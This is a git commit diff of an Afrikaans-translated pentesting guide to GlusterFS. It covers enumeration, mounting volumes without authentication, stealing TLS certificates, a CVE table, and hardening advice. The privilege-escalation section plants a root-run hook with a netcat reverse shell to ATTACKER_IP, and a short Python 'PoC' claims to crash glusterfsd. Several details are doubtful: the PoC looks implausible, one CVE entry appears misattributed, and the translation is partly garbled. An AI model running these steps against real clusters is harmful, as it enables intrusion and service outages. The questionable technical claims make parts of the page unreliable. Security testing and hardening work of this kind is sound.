Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen

This commit is contained in:
Translator 2025-08-04 16:29:52 +00:00
parent 946238432d
commit d921ce5afc

View File

@ -1,35 +1,117 @@
# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
# Basiese Inligting
## Basiese Inligting
**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners in een **geïntegreerde stelsel** kombineer. Dit stel jou in staat tot **arbitraire skaalbaarheid**, wat beteken dat jy maklik stoorplekbedieners kan byvoeg of verwyder sonder om die algehele lêerstelsel te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy jou lêers benader asof dit plaaslik gestoor is, ongeag die onderliggende bedienerinfrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners.
**Standaard poorte**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (voorts)\
Vir die poort 49152, moet poorte wat met 1 verhoog word oop wees om meer bakstene te gebruik. _Voorheen is die poort 24009 in plaas van 49152 gebruik._
**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners in een **geïntegreerde naamruimte** kombineer. Die bestuurdaemon (`glusterd`) luister standaard op **24007/TCP** en gee opdrag aan data-vlak bakstene wat begin by **49152/TCP** (een poort per baksteen, met 'n verhoging). Weergawes voor 9.x het **2400824009/TCP** gebruik vir baksteen vervoer, so jy sal steeds daardie poorte in erfenisklusters teëkom.
```
PORT STATE SERVICE
24007/tcp open rpcbind
49152/tcp open ssl/unknown
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
## Enumerasie
> Wenk: 24007 antwoord RPC-oproepe selfs wanneer die slegs-stoor nodes **nie** enige volume uitvoer nie; daarom is die diens 'n betroubare pivot-teiken binne groot infrastruktuur.
Om met hierdie lêerstelsel te werk, moet jy die [**GlusterFS-kliënt**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) installeer (`sudo apt-get install glusterfs-cli`).
## Opname
Om die beskikbare volumes te lys en te monteer, kan jy gebruik maak van:
Installeer die kliëntnutsgoed op jou aanvaldoos:
```bash
sudo gluster --remote-host=10.10.11.131 volume list
# This will return the name of the volumes
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
As jy 'n **fout ontvang wanneer jy die lêerstelsel probeer monteer**, kan jy die logs in `/var/log/glusterfs/` nagaan.
1. **Peer ontdekking & gesondheid**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **Volume verkenning**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Monteer sonder voorregte**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
As die montering misluk, kyk na `/var/log/glusterfs/<vol_name>-<uid>.log` aan die kliëntkant. Algemene probleme is:
**Foute wat verwys na sertifikate** kan reggestel word deur die lêers te steel (as jy toegang tot die stelsel het):
* TLS afdwinging (`option transport.socket.ssl on`)
* Adresgebaseerde toegangbeheer (`option auth.allow <cidr>`)
- /etc/ssl/glusterfs.ca
- /etc/ssl/glusterfs.key
- /etc/ssl/glusterfs.ca.pem
### Sertifikaat probleemoplossing
En dit in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids te stoor (as 'n ander gids gebruik word, kyk vir lyne soortgelyk aan: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logs).
Steal die volgende lêers van enige geautoriseerde kliëntknoop en plaas dit in `/etc/ssl/` (of die gids wat in die foutlog aangedui word):
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Bekende Kw vulnerabilities (2022-2025)
| CVE | Aangetaste weergawes | Impak | Aantekeninge |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | 10.010.4, 11.0 | Gebruik-na-vry in `dht_setxattr_mds_cbk` bereikbaar deur die netwerk | Afgeleë **DoS** en waarskynlike RCE. Geregverifieer in 10.4.1 / 11.1. |
| **CVE-2023-26253** | < 11.0 | Buite-grense lees in FUSE kennisgewing handler | Afgeleë kragonderbreking deur vervaardigde FS operasies; openbare PoC beskikbaar. |
| **CVE-2023-3775** | < 10.5 / 11.1 | Onkorrekte toestemming validasie wanneer `gluster_shared_storage` gemonteer word | Laat enige nie-geoutentiseerde kliënt toe om die admin volume te monteer lei tot **priv-esc** hieronder verduidelik. |
> Kontroleer altyd `gluster --version` **op elke node**; heterogene klusters is algemeen na gedeeltelike opgraderings.
### Exploitering van `gluster_shared_storage` (Privilegie Escalatie)
Selfs in onlangse weergawes laat baie administrateurs die spesiale `gluster_shared_storage` volume wêreld-leesbaar omdat dit geo-replikaasie vereenvoudig. Die volume bevat cronjob sjablone wat met **root** op elke node loop.
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
As `hooks/1/` nie teenwoordig is nie, soek na `/ss_bricks/` die presiese pad kan verskil met die hoofweergawe.
### Denial-of-Service PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
Running the script crashes `glusterfsd` < 11.0.
---
## Hardening & Detection
* **Opgradeer** huidige LTS is 11.1 (Julie 2025). Alle CVE's hierbo is reggestel.
* Aktiveer **TLS** vir elke baksteen:
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* Beperk kliënte met CIDR-lists:
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* Stel bestuuringspoort 24007 bloot slegs op 'n **private VLAN** of deur SSH-tunnels.
* Kyk logs: `tail -f /var/log/glusterfs/glusterd.log` en konfigureer **audit-log** funksie (`volume set <vol> features.audit-log on`).
---
## References
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}